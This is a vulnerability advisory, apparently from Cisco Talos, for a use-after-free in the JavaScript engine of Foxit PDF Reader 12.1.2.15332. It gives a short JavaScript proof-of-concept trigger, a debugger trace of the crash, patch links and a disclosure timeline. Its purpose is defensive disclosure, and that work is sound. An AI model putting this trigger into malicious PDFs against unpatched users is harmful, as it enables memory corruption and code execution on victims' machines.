CVE-2023-33866
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.2.15332. By prematurely deleting objects associated with pages, a specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.2.15332
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:
function main() {
getField("txt2").setAction("OnBlur",'f15();');
this.getField('txt2').setFocus();
try { this.getField('Push Button0').setFocus();
this.getField('txt2').setFocus();
this.getField('txt5').setFocus();
this.deletePages();
}
function f15() {
this.deletePages();
this.pageNum = 1;
}
The above code simply assigns a callback function to OnBlur
action for field txt2
, which is promptly triggered by a call to setFocus
on another field. In the action callback, all that happens is a call to deletePages
, which in turn ends up freeing a large number of objects. Additionaly, another setFocus
call is made in this event handler that gets put on event loop queue. After the execution returns to event handler, a use-after-free is triggered. We can observe the following in the debugger (with PageHeap enabled):
0:000> g
Breakpoint 2 hit
eax=04d31bd8 ebx=2681af80 ecx=436d6fc8 edx=0060f398 esi=1c766fc0 edi=00000001
eip=019e6e19 esp=0060f3f4 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa99:
019e6e19 53 push ebx ; [1]
0:000> dd ebx
2681af80 04d4d534 47e42ff8 35b87520 21feef60
2681af90 c0c0c000 00000001 1c74afd8 01000101
2681afa0 00000004 00000000 265daff0 00000000
2681afb0 1c748f9c 1f426c50 1da86ff8 00000000
2681afc0 00000000 00000000 00000000 00000000
2681afd0 00000010 00000000 00000000 00000000
2681afe0 0000000a 00000000 00000000 00000000
2681aff0 c0c0c000 00000000 14430fe8 00000000
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa99:
019e6e19 53 push ebx
019e6e1a 8b404c mov eax,dword ptr [eax+4Ch]
019e6e1d ffd0 call eax
019e6e1f 84c0 test al,al
019e6e21 0f8462ffffff je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa09 (019e6d89)
019e6e27 8b03 mov eax,dword ptr [ebx]
019e6e29 8bcb mov ecx,ebx
019e6e2b ff5010 call dword ptr [eax+10h]
0:000> bp 019e6e1f ; [2]
0:000> p
eax=04d31bd8 ebx=2681af80 ecx=436d6fc8 edx=0060f398 esi=1c766fc0 edi=00000001
eip=019e6e1a esp=0060f3f0 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa9a:
019e6e1a 8b404c mov eax,dword ptr [eax+4Ch] ds:002b:04d31c24=019f15b0
0:000>
eax=019f15b0 ebx=2681af80 ecx=436d6fc8 edx=0060f398 esi=1c766fc0 edi=00000001
eip=019e6e1d esp=0060f3f0 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa9d:
019e6e1d ffd0 call eax {FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x29a230 (019f15b0)} ;[3]
0:000>
Breakpoint 0 hit
eax=0060e8f8 ebx=0060e964 ecx=02bc0420 edx=00000000 esi=320c7ff8 edi=44788ff8
eip=02eee239 esp=0060e8d0 ebp=0060e910 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02eee239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02bc0420)} ; [4] Doc.deletePages
0:000> g
Breakpoint 3 hit
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e1f esp=0060f3f4 ebp=0060f468 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa9f:
019e6e1f 84c0 test al,al ; [5]
0:000> dd 2681af80
2681af80 ???????? ???????? ???????? ????????
2681af90 ???????? ???????? ???????? ????????
2681afa0 ???????? ???????? ???????? ????????
2681afb0 ???????? ???????? ???????? ????????
2681afc0 ???????? ???????? ???????? ????????
2681afd0 ???????? ???????? ???????? ????????
2681afe0 ???????? ???????? ???????? ????????
2681aff0 ???????? ???????? ???????? ????????
0:000> p
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e21 esp=0060f3f4 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa1:
019e6e21 0f8462ffffff je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa09 (019e6d89) [br=0]
0:000>
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e27 esp=0060f3f4 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03 mov eax,dword ptr [ebx] ds:002b:2681af80=???????? ; [6]
0:000>
(26e4.19cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e27 esp=0060f3f4 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03 mov eax,dword ptr [ebx] ds:002b:2681af80=????????
0:000>
(26e4.19cc): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e27 esp=0060f3f4 ebp=0060f468 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03 mov eax,dword ptr [ebx] ds:002b:2681af80=????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03 mov eax,dword ptr [ebx]
019e6e29 8bcb mov ecx,ebx
019e6e2b ff5010 call dword ptr [eax+10h] ; [7]
019e6e2e 53 push ebx
019e6e2f 6a00 push 0
019e6e31 8bc8 mov ecx,eax
019e6e33 8b10 mov edx,dword ptr [eax]
019e6e35 ff5270 call dword ptr [edx+70h]
0:000> !ext.heap -p -a 2681af80
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0060f468 01c69071 00000000 a94b37bf 2681af80 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7
01 0060f498 0112273b 2249fb78 a94b3617 4b31cf7c FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x511cf1
02 0060f530 00aecae4 2681af80 a94b36b3 7fffffff FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7e9b
03 0060f594 00c851b1 47e42ff8 35b8e540 00c85180 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7da4
04 0060f5a8 0433d52b 1a24aff8 00000000 a94b355f FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626a1
05 0060f678 0433e704 00000427 1a24aff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
06 0060f69c 043390aa 00000427 1a24aff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
07 0060f710 0433991d 0f40ae20 002c02de 00000427 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
08 0060f730 76dd23a3 002c02de 00000427 1a24aff8 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
09 0060f75c 76dc30b6 043398e9 002c02de 00000427 USER32!_InternalCallWinProc+0x2b
0a 0060f854 76dc1975 043398e9 00000000 00000427 USER32!UserCallWinProcCheckWow+0x4c6
0b 0060f8d0 76dc14c0 00000427 0060f8f8 00c0d3c4 USER32!DispatchMessageWorker+0x4a5
0c 0060f8dc 00c0d3c4 0f41eec8 0f41eec8 061a7798 USER32!DispatchMessageW+0x10
0d 0060f8f8 00c0d483 061a7798 00c0d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
0e 0060f918 0475b2fe 00000000 061d3b14 07762000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
0f 0060f930 04520cc0 007f0000 00000000 0c1b4360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
10 0060f97c 75f67d59 07762000 75f67d40 0060f9e4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
11 0060f98c 772fb74b 07762000 5ddcd913 00000000 KERNEL32!BaseThreadInitThunk+0x19
12 0060f9e4 772fb6cf ffffffff 77328651 00000000 ntdll!__RtlUserThreadStart+0x2b
13 0060f9f4 00000000 04520d8f 07762000 00000000 ntdll!_RtlUserThreadStart+0x1b
At [1]
above, we see a function argument being pushed onto the stack. The value being pushed comes from the register ebx
. At [2]
, a breakpoint is set on the address after a call to the function to examine the function argument. The function is called at [3]
which in turn calls the method associated with deletPage
at [4]
. This method frees a large number of objects. Once the function returns, the value passed to the function is checked at [5]
. It can be observed that the memory pointed to by the register ebx
is freed. At [6], the value in ebx
is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable
function call, with the actual function pointer coming from the area pointed to by ebx
, which would give an attacker direct control over execution control flow.
Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution. Additionally, it should be noted that this vulenrability is very similar to a previously reported use-after-free that was tracked as CVE-2021-40420 and TALOS-2021-1429.
Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/
2023-06-12 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release
Discovered by Kamlapati Choubey and Aleksandar Nikolic of Cisco Talos.